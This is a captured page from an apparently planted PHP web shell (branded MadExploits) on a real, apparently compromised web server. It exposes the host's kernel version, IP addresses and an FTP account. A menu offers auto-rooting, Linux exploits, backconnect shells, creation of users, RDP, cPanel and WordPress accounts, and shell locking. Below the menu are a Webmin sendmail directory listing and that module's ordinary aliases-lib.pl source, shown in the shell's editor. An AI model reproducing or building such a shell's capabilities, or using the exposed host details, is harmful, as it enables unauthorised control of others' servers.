Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
sendmail /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
4.2
KB
-rw-r--r--
access-lib.pl
6.41
KB
-rwxr-xr-x
acl_security.pl
9.7
KB
-rwxr-xr-x
aliases-lib.pl
7.93
KB
-rwxr-xr-x
autoreply.pl
12.19
KB
-rwxr-xr-x
backup_config.pl
1.48
KB
-rwxr-xr-x
boxes-lib.pl
80.12
KB
-rwxr-xr-x
build.cgi
1.84
KB
-rwxr-xr-x
cgi_args.pl
1.42
KB
-rwxr-xr-x
config-AlmaLinux-7.0-ALL
685
B
-rw-r--r--
config-Amazon-Linux-2-ALL
685
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
685
B
-rw-r--r--
config-CentOS-Stream-Linux-8.0...
685
B
-rw-r--r--
config-Oracle-Linux-8.0-ALL
685
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
685
B
-rw-r--r--
config-Rocky-Linux-7.0-ALL
685
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
685
B
-rw-r--r--
config-aix
573
B
-rw-r--r--
config-cobalt-linux
669
B
-rw-r--r--
config-coherent-linux
661
B
-rw-r--r--
config-corel-linux
528
B
-rw-r--r--
config-debian-linux
607
B
-rw-r--r--
config-debian-linux-2.1-2.2
612
B
-rw-r--r--
config-debian-linux-3.0-ALL
616
B
-rw-r--r--
config-freebsd
654
B
-rw-r--r--
config-freebsd-4.0-ALL
659
B
-rw-r--r--
config-generic-linux
672
B
-rw-r--r--
config-gentoo-linux
697
B
-rw-r--r--
config-hpux
525
B
-rw-r--r--
config-irix
668
B
-rw-r--r--
config-macos
657
B
-rw-r--r--
config-macos-1.3-ALL
662
B
-rw-r--r--
config-mandrake-linux
678
B
-rw-r--r--
config-mandrake-linux-8.2
661
B
-rw-r--r--
config-mandrake-linux-9.0-ALL
678
B
-rw-r--r--
config-msc-linux
576
B
-rw-r--r--
config-netbsd
639
B
-rw-r--r--
config-open-linux
671
B
-rw-r--r--
config-open-linux-2.5
676
B
-rw-r--r--
config-open-linux-3.1e
676
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
636
B
-rw-r--r--
config-openbsd
640
B
-rw-r--r--
config-openserver
572
B
-rw-r--r--
config-osf1
538
B
-rw-r--r--
config-redhat-linux
654
B
-rw-r--r--
config-redhat-linux-10.0-23.0
685
B
-rw-r--r--
config-redhat-linux-24.0-ALL
747
B
-rw-r--r--
config-redhat-linux-7.1-7.3
656
B
-rw-r--r--
config-redhat-linux-7.4-9.0
661
B
-rw-r--r--
config-slackware-linux
523
B
-rw-r--r--
config-slackware-linux-8.0
672
B
-rw-r--r--
config-slackware-linux-8.1-ALL
699
B
-rw-r--r--
config-sol-linux
679
B
-rw-r--r--
config-solaris
641
B
-rw-r--r--
config-solaris-10-ALL
722
B
-rw-r--r--
config-solaris-7
730
B
-rw-r--r--
config-solaris-8-9
729
B
-rw-r--r--
config-suse-linux
592
B
-rw-r--r--
config-suse-linux-8.2-ALL
640
B
-rw-r--r--
config-turbo-linux
654
B
-rw-r--r--
config-united-linux
592
B
-rw-r--r--
config-unixware
566
B
-rw-r--r--
config.info
2.4
KB
-rw-r--r--
config.info.ca
2.78
KB
-rw-r--r--
config.info.cs
2.6
KB
-rw-r--r--
config.info.de
2.79
KB
-rw-r--r--
config.info.es
1.74
KB
-rw-r--r--
config.info.fr
2.42
KB
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.nl
2.72
KB
-rw-r--r--
config.info.no
2.52
KB
-rw-r--r--
config.info.pl
1.13
KB
-rw-r--r--
config.info.pt_BR
2.85
KB
-rw-r--r--
config.info.ru
2.45
KB
-rw-r--r--
config.info.sv
1.06
KB
-rw-r--r--
config.info.tr
1.09
KB
-rw-r--r--
config.info.uk
2.48
KB
-rw-r--r--
config.info.zh
970
B
-rw-r--r--
config.info.zh_TW
1.04
KB
-rw-r--r--
create_file.cgi
1.41
KB
-rwxr-xr-x
defaultacl
286
B
-rw-r--r--
defines
3.77
KB
-rw-r--r--
del_mailq.cgi
1.31
KB
-rwxr-xr-x
del_mailqs.cgi
2.82
KB
-rwxr-xr-x
delete_access.cgi
782
B
-rwxr-xr-x
delete_aliases.cgi
800
B
-rwxr-xr-x
delete_domains.cgi
710
B
-rwxr-xr-x
delete_generics.cgi
790
B
-rwxr-xr-x
delete_mailers.cgi
713
B
-rwxr-xr-x
delete_virtusers.cgi
799
B
-rwxr-xr-x
domain-lib.pl
4.25
KB
-rwxr-xr-x
dontblames
3.34
KB
-rw-r--r--
edit_access.cgi
505
B
-rwxr-xr-x
edit_afile.cgi
1.08
KB
-rwxr-xr-x
edit_alias.cgi
470
B
-rwxr-xr-x
edit_domain.cgi
433
B
-rwxr-xr-x
edit_feature.cgi
2.98
KB
-rwxr-xr-x
edit_ffile.cgi
2.05
KB
-rwxr-xr-x
edit_file.cgi
2.26
KB
-rwxr-xr-x
edit_generic.cgi
460
B
-rwxr-xr-x
edit_mailer.cgi
435
B
-rwxr-xr-x
edit_rfile.cgi
3.05
KB
-rwxr-xr-x
edit_virtuser.cgi
473
B
-rwxr-xr-x
features-lib.pl
4.25
KB
-rwxr-xr-x
feedback_files.pl
397
B
-rwxr-xr-x
filter.pl
1.99
KB
-rwxr-xr-x
flushq.cgi
714
B
-rwxr-xr-x
generics-lib.pl
4.52
KB
-rwxr-xr-x
index.cgi
4.81
KB
-rwxr-xr-x
install_check.pl
452
B
-rwxr-xr-x
list_access.cgi
3.04
KB
-rwxr-xr-x
list_aliases.cgi
3.48
KB
-rwxr-xr-x
list_cgs.cgi
636
B
-rwxr-xr-x
list_cws.cgi
706
B
-rwxr-xr-x
list_domains.cgi
2.36
KB
-rwxr-xr-x
list_features.cgi
2.97
KB
-rwxr-xr-x
list_generics.cgi
3.83
KB
-rwxr-xr-x
list_mailers.cgi
2.66
KB
-rwxr-xr-x
list_mailq.cgi
3.54
KB
-rwxr-xr-x
list_masq.cgi
1.15
KB
-rwxr-xr-x
list_opts.cgi
4.91
KB
-rwxr-xr-x
list_ports.cgi
2.2
KB
-rwxr-xr-x
list_relay.cgi
938
B
-rwxr-xr-x
list_trusts.cgi
646
B
-rwxr-xr-x
list_us
1
B
-rw-r--r--
list_virtusers.cgi
3.75
KB
-rwxr-xr-x
log_parser.pl
1.73
KB
-rwxr-xr-x
mailers-lib.pl
5.32
KB
-rwxr-xr-x
mailq_search.cgi
996
B
-rwxr-xr-x
manual_features.cgi
398
B
-rwxr-xr-x
module.info
646
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
129
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
217
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
218
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
230
B
-rw-r--r--
module.info.ca
144
B
-rw-r--r--
module.info.ca.auto
24
B
-rw-r--r--
module.info.cs
30
B
-rw-r--r--
module.info.cs.auto
122
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
137
B
-rw-r--r--
module.info.de
130
B
-rw-r--r--
module.info.de.auto
17
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
296
B
-rw-r--r--
module.info.es
35
B
-rw-r--r--
module.info.es.auto
134
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
150
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
229
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
164
B
-rw-r--r--
module.info.fr
34
B
-rw-r--r--
module.info.fr.auto
133
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
173
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
161
B
-rw-r--r--
module.info.hu
37
B
-rw-r--r--
module.info.hu.auto
129
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
161
B
-rw-r--r--
module.info.ja
27
B
-rw-r--r--
module.info.ja.auto
143
B
-rw-r--r--
module.info.ko
24
B
-rw-r--r--
module.info.ko.auto
141
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
173
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
169
B
-rw-r--r--
module.info.ms
127
B
-rw-r--r--
module.info.ms.auto
21
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
142
B
-rw-r--r--
module.info.nl
30
B
-rw-r--r--
module.info.nl.auto
108
B
-rw-r--r--
module.info.no
31
B
-rw-r--r--
module.info.no.auto
113
B
-rw-r--r--
module.info.pl
31
B
-rw-r--r--
module.info.pl.auto
122
B
-rw-r--r--
module.info.pt
35
B
-rw-r--r--
module.info.pt.auto
122
B
-rw-r--r--
module.info.pt_BR
39
B
-rw-r--r--
module.info.pt_BR.auto
128
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
144
B
-rw-r--r--
module.info.ru
42
B
-rw-r--r--
module.info.ru.auto
214
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
146
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
153
B
-rw-r--r--
module.info.sv
32
B
-rw-r--r--
module.info.sv.auto
104
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
294
B
-rw-r--r--
module.info.tr
35
B
-rw-r--r--
module.info.tr.auto
131
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
228
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
233
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
156
B
-rw-r--r--
module.info.zh
24
B
-rw-r--r--
module.info.zh.auto
93
B
-rw-r--r--
module.info.zh_TW
27
B
-rw-r--r--
module.info.zh_TW.auto
99
B
-rw-r--r--
move.cgi
559
B
-rwxr-xr-x
negativeacl
8
B
-rw-r--r--
prefs.info
147
B
-rw-r--r--
qdetach.cgi
1.05
KB
-rwxr-xr-x
rbac-mapping
186
B
-rw-r--r--
save_access.cgi
1.98
KB
-rwxr-xr-x
save_afile.cgi
580
B
-rwxr-xr-x
save_alias.cgi
4.12
KB
-rwxr-xr-x
save_cgs.cgi
640
B
-rwxr-xr-x
save_cws.cgi
678
B
-rwxr-xr-x
save_domain.cgi
1.37
KB
-rwxr-xr-x
save_feature.cgi
2.32
KB
-rwxr-xr-x
save_ffile.cgi
860
B
-rwxr-xr-x
save_file.cgi
3.02
KB
-rwxr-xr-x
save_generic.cgi
1.57
KB
-rwxr-xr-x
save_mailer.cgi
1.83
KB
-rwxr-xr-x
save_masq.cgi
1.2
KB
-rwxr-xr-x
save_opts.cgi
3.29
KB
-rwxr-xr-x
save_ports.cgi
2.47
KB
-rwxr-xr-x
save_relay.cgi
710
B
-rwxr-xr-x
save_rfile.cgi
1.25
KB
-rwxr-xr-x
save_trusts.cgi
589
B
-rwxr-xr-x
save_virtuser.cgi
2.81
KB
-rwxr-xr-x
sendmail-lib.pl
17.76
KB
-rwxr-xr-x
start.cgi
248
B
-rwxr-xr-x
stop.cgi
276
B
-rwxr-xr-x
useradmin_update.pl
1.43
KB
-rwxr-xr-x
view_mailq.cgi
3.91
KB
-rwxr-xr-x
virtusers-lib.pl
6.22
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : aliases-lib.pl
# aliases-lib.pl # Alias file functions # aliases_file(&config) # Returns the alias filenames sub aliases_file { if ($config{'alias_file'}) { return [ $config{'alias_file'} ]; } else { local(@afiles, $o); foreach $o (&find_type("O", $_[0])) { if ($o->{'value'} =~ /^\s*AliasFile=(.*)$/) { push(@afiles, split(/,/, $1)); } } map { s/dbm:// } @afiles; return \@afiles; } } # list_aliases(files) # Returns an array of data structures, each containing information about # one sendmail alias sub list_aliases { local $jfiles = join(",", @{$_[0]}); local $c = $list_aliases_cache{$jfiles}; if (!defined($c)) { $c = $list_aliases_cache{$jfiles} = [ ]; local $file; local @skip = split(/\s+/, $config{'alias_skip'}); foreach $file (@{$_[0]}) { local $lalias; local $lnum = 0; local $cmt; &open_readfile(AFILE, $file); while(<AFILE>) { s/\r|\n//g; # remove newlines if (/^\s*#+\s*(.*)/ && &is_table_comment($_, 1)) { # A comment line $cmt = &is_table_comment($_, 1); } elsif (/^(#*)\s*([^:$ \t]+)\s*:\s*(.*)$/) { local(%alias, @values, $v); $alias{'line'} = $cmt ? $lnum-1 : $lnum; $alias{'eline'} = $lnum; $alias{'file'} = $file; $alias{'files'} = $_[0]; $alias{'enabled'} = $1 ? 0 : 1; $alias{'name'} = $2; $alias{'cmt'} = $cmt; $v = $3; $alias{'value'} = $v; while($v =~ /^\s*,?\s*()"([^"]+)"(.*)$/ || $v =~ /^\s*,?\s*(\|)"([^"]+)"(.*)$/ || $v =~ /^\s*,?\s*()([^,\s]+)(.*)$/) { push(@values, $1.$2); $v = $3; } $alias{'values'} = \@values; $alias{'num'} = scalar(@$c); if (&indexof($alias{'name'}, @skip) < 0) { push(@$c, \%alias); $lalias = \%alias; } $cmt = undef; } elsif (/^(#*)\s+(\S.*)$/ && $lalias && ($1 && !$lalias->{'enabled'} || !$1 && $lalias->{'enabled'})) { # continuation of last alias $lalias->{'eline'} = $lnum; local $v = $2; $lalias->{'value'} .= $v; while($v =~ /^\s*,?\s*()"([^"]+)"(.*)$/ || $v =~ /^\s*,?\s*(\|)"([^"]+)"(.*)$/ || $v =~ /^\s*,?\s*()([^,\s]+)(.*)$/) { push(@{$lalias->{'values'}}, $1.$2); $v = $3; } $cmt = undef; } else { # Some other line $lalias = undef; $cmt = undef; } $lnum++; } close(AFILE); } } return @$c; } # alias_form([alias], [no-comment]) # Display a form for editing or creating an alias. Each alias can map to # 1 or more programs, files, lists or users sub alias_form { local ($a, $nocmt, $afile) = @_; local (@values, $v, $type, $val, @typenames); if ($a) { @values = @{$a->{'values'}}; } @typenames = map { $text{"aform_type$_"} } (0 .. 6); $typenames[0] = "<$typenames[0]>"; # Start of form and table print &ui_form_start("save_alias.cgi", "post"); if ($a) { print &ui_hidden("num", $a->{'num'}),"\n"; } else { print &ui_hidden("new", 1),"\n"; } print &ui_table_start($a ? $text{'aform_edit'} : $text{'aform_create'}, undef, 2); # Description if (!$nocmt) { print &ui_table_row(&hlink($text{'aform_cmt'},"alias_cmt"), &ui_textbox("cmt", $a ? $a->{'cmt'} : undef, 50)); } # Alias name print &ui_table_row(&hlink($text{'aform_name'},"alias_name"), &ui_textbox("name", $a ? $a->{'name'} : "", 20)); # Enabled flag print &ui_table_row(&hlink($text{'aform_enabled'}, "alias_enabled"), &ui_yesno_radio("enabled", !$a || $a->{'enabled'} ? 1 : 0)); # Alias file, if more than one possible if ($afile && @$afile > 1) { print &ui_table_row(&hlink($text{'aform_file'}, "alias_file"), &ui_select("afile", undef, $afile)); } # Destinations local @typeopts; for($j=0; $j<@typenames; $j++) { if (!$j || $access{"aedit_$j"}) { push(@typeopts, [ $j, $typenames[$j] ]); } } for($i=0; $i<=@values; $i++) { ($type, $val) = $values[$i] ? &alias_type($values[$i]) : (0, ""); local $typesel = &ui_select("type_$i", $type, \@typeopts); local $valtxt = &ui_textbox("val_$i", $val, 30); local $edlnk; if ($type == 2 && $a) { $edlnk = &ui_link("edit_afile.cgi?file=$val&num=$a->{'num'}",$text{'aform_afile'}); } elsif ($type == 5 && $a) { $edlnk = &ui_link("edit_rfile.cgi?file=$val&num=$a->{'num'}",$text{'aform_afile'}); } elsif ($type == 6 && $a) { $edlnk = &ui_link("edit_ffile.cgi?file=$val&num=$a->{'num'}",$text{'aform_afile'}); } print &ui_table_row(&hlink($text{'aform_val'},"alias_to"), $typesel."\n".$valtxt."\n".$edlnk); } # Table and form end print &ui_table_end(); if ($a) { print &ui_form_end([ [ "save", $text{'save'} ], [ "delete", $text{'delete'} ] ]); } else { print &ui_form_end([ [ "create", $text{'create'} ] ]); } } # create_alias(&details, &files, [norebuild]) # Create a new alias sub create_alias { &list_aliases($_[1]); # force cache init # Update the config file local(%aliases); $_[0]->{'file'} ||= $_[1]->[0]; local $lref = &read_file_lines($_[0]->{'file'}); $_[0]->{'line'} = scalar(@$lref); push(@$lref, &make_table_comment($_[0]->{'cmt'}, 1)); local $str = ($_[0]->{'enabled'} ? "" : "# ") . $_[0]->{'name'} . ": " . join(',', map { /\s/ ? "\"$_\"" : $_ } @{$_[0]->{'values'}}); push(@$lref, $str); $_[0]->{'eline'} = scalar(@$lref)-1; &flush_file_lines($_[0]->{'file'}); if (!$_[2]) { if (!&rebuild_map_cmd($_[0]->{'file'})) { &system_logged("newaliases >/dev/null 2>&1"); } } # Add to the cache local $jfiles = join(",", @{$_[1]}); local $c = $list_aliases_cache{$jfiles}; $_[0]->{'num'} = scalar(@$c); push(@$c, $_[0]); } # delete_alias(&details, [norebuild]) # Deletes one mail alias sub delete_alias { # Remove from the file local $lref = &read_file_lines($_[0]->{'file'}); local $len = $_[0]->{'eline'} - $_[0]->{'line'} + 1; splice(@$lref, $_[0]->{'line'}, $len); &flush_file_lines($_[0]->{'file'}); if (!$_[1]) { if (!&rebuild_map_cmd($_[0]->{'file'})) { &system_logged("newaliases >/dev/null 2>&1"); } } # Remove from the cache local $jfiles = join(",", @{$_[0]->{'files'}}); local $c = $list_aliases_cache{$jfiles}; local $idx = &indexof($_[0], @$c); splice(@$c, $idx, 1) if ($idx != -1); &renumber_list($c, $_[0], -$len); } # modify_alias(&old, &details, [norebuild]) # Update some existing alias sub modify_alias { # Add to the file local @newlines; push(@newlines, &make_table_comment($_[1]->{'cmt'}, 1)); local $str = ($_[1]->{'enabled'} ? "" : "# ") . $_[1]->{'name'} . ": " . join(',', map { /\s/ ? "\"$_\"" : $_ } @{$_[1]->{'values'}}); push(@newlines, $str); local $lref = &read_file_lines($_[0]->{'file'}); local $len = $_[0]->{'eline'} - $_[0]->{'line'} + 1; splice(@$lref, $_[0]->{'line'}, $len, @newlines); &flush_file_lines($_[0]->{'file'}); if (!$_[2]) { if (!&rebuild_map_cmd($_[0]->{'file'})) { &system_logged("newaliases >/dev/null 2>&1"); } } local $jfiles = join(",", @{$_[0]->{'files'}}); local $c = $list_aliases_cache{$jfiles}; local $idx = &indexof($_[0], @$c); $_[1]->{'file'} = $_[0]->{'file'}; $_[1]->{'line'} = $_[0]->{'line'}; $_[1]->{'eline'} = $_[1]->{'line'}+scalar(@newlines)-1; $c->[$idx] = $_[1] if ($idx != -1); &renumber_list($c, $_[0], scalar(@newlines) - $len); } # alias_type(string) # Return the type and destination of some alias string sub alias_type { local @rv; if ($_[0] =~ /^\|$module_config_directory\/autoreply.pl\s+(\S+)/) { @rv = (5, $1); } elsif ($_[0] =~ /^\|$module_config_directory\/filter.pl\s+(\S+)/) { @rv = (6, $1); } elsif ($_[0] =~ /^\|(.*)$/) { @rv = (4, $1); } elsif ($_[0] =~ /^(\/.*)$/) { @rv = (3, $1); } elsif ($_[0] =~ /^:include:"(.*)"$/ || $_[0] =~ /^:include:(.*)$/) { @rv = (2, $1); } else { @rv = (1, $_[0]); } return wantarray ? @rv : $rv[0]; } # lock_alias_files(&files) sub lock_alias_files { foreach $f (@{$_[0]}) { &lock_file($f); } } # unlock_alias_files(&files) sub unlock_alias_files { foreach $f (@{$_[0]}) { &unlock_file($f); } } # can_edit_alias(&alias) sub can_edit_alias { local ($a) = @_; foreach my $v (@{$a->{'values'}}) { $access{"aedit_".&alias_type($v)} || return 0; } if ($access{'amode'} == 2) { $a->{'name'} =~ /$access{'aliases'}/ || return 0; } elsif ($access{'amode'} == 3) { $a->{'name'} eq $remote_user || return 0; } return 1; } 1;
Close